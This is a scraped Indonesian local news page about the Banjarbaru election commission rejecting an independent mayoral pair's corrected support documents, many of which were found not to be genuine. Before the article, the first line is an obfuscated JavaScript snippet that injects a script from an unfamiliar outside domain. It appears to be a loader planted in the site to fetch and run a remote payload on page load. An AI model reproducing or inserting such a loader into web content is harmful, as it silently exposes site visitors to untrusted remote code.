(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – KPU Banjarbaru telah menyatakan syarat dukungan perbaikan pasangan bakal calon jalur independen di Pilkada Banjarbaru, Edy Saifuddin-Astina Zuraidah, tak memenuhi kuota yang ditetapkan. Dengan keputusan ini, maka langkah pencalonan keduanya di jalur perseorangan harus terhenti.
Menelan pil pahit atas keputusan KPU tersebut, Edy Saifuddin mengaku tak terima. Meski begitu, ia juga belum menentukan sikap ihwal langkah selanjutnya dalam pencalonan di Pilkada Banjarbaru.
“Belum menentukan sikap, karena kami masih menyusun langkah selanjutnya,” ujarnya, saat dihubungi Kanalkalimantan.com, Rabu (29/7/2020).
Sayangnya, Edy belum mau mengemukakan keluh kesahnya ihwal keputusan KPU Banjarbaru yang telah menolak syarat dukungan perbaikan yang diserahkan beberapa jam sebelum .
Seperti yang sudah diberitakan, KPU Kota Banjarbaru menyatakan bahwa syarat dukungan yang telah diserahkan pasangan tersebut ditolak. Pada Senin (27/7/2020) malam, Edy-Astina telah menyerahkan syarat dukungan perbaikan sebanyak 21.009 lembar foto kopi KTP. Hal ini merupakan konsekuensi “denda suara” lantaran syarat dukungan pada tahap pertama tidak mencapai 50 persen dari jumlah minimum.
Agar Edy-Astina bisa melanjutkan tahapan pencalonan di jalur independen, setidaknya dari 21.000 lembar KTP yang diserahkan itu, minimal 18.249 lembar KTP -syarat minimun- diantaranya harus memenuhi syarat (MS).
Ketua KPU Banjarbaru, Hegar Wahyu Hidayat, mengungkapkan bahwa 21.009 lembar foto kopi KTP yang telah diserahkan itu telah dilakukan pengecekan. Faktanya, syarat dukungan perbaikan yang memenuhi syarat hanya 12.930 lembar foto kopi KTP saja.
“Dokumen dukungan bapaslon dinyatakan tidak diterima atau ditolak. Karena setelah dilakukan pengecekan, dukungan yang MS hanya 12.930 lembar KTP saja,” katanya, saat dihubungi Kanalkalimantan.
Ditolaknya seluruh syarat dukungan perbaikan, membuat langkah Edy-Astina terhenti untuk melanjutkan ke tahapan selanjutnya. Itu artinya, pasangan ini telah gagal maju dalam pencalonan di Pilkada Banjarbaru melalui jalur independen.
Dijelaskan Hegar, ada berbagai masalah saat dilakukan melakukan pengecekan syarat dukungan perbaikan Edy-Astina. Salah satunya, ialah lembaran foto kopi KTP yang tidak asli.
“Ditemukan dokumen pernyataan pendukung (form model B.1-KWK Perseorang Perbaikan) banyak yang tidak asli,” terang Ketua KPU Banjarbaru. (Kanalkalimantan.com/rico)
KANALKALIMANTAN.COM, BANJARBARU - Rapat Koordinasi (Rakor) Tim Percepatan Penurunan Stunting (TPPS) dilaksanakan oleh Pemerintah Kabupaten… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kabupaten Banjar menggelar Gebyar Pemberdayaan Masyarakat Desa, Kamis (12/12/2024) siang di… Read More
KANALKALIMANTAN.COM, MARTAPURA - Dinas Pekerjaan Umum, Penataan Ruang dan Pertanahan (PUPRP) Kabupaten Banjar menggelar pertemuan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Rumah Sakit Daerah (RSD) Idaman Banjarbaru berhasil meraih peringkat satu penghargaan Eco… Read More
KANALKALIMANTAN.COM, PARINGIN - Memastikan pemasangan dan kondisi lampu Penerangan Jalan Umum (PJU) berjalan dengan baik,… Read More
KANALKALIMANTAN.COM, BANJARBARU - Wali Kota dan Wakil Wali Kota Banjarbaru menyatukan suara bersama masyarakat Kota… Read More
This website uses cookies.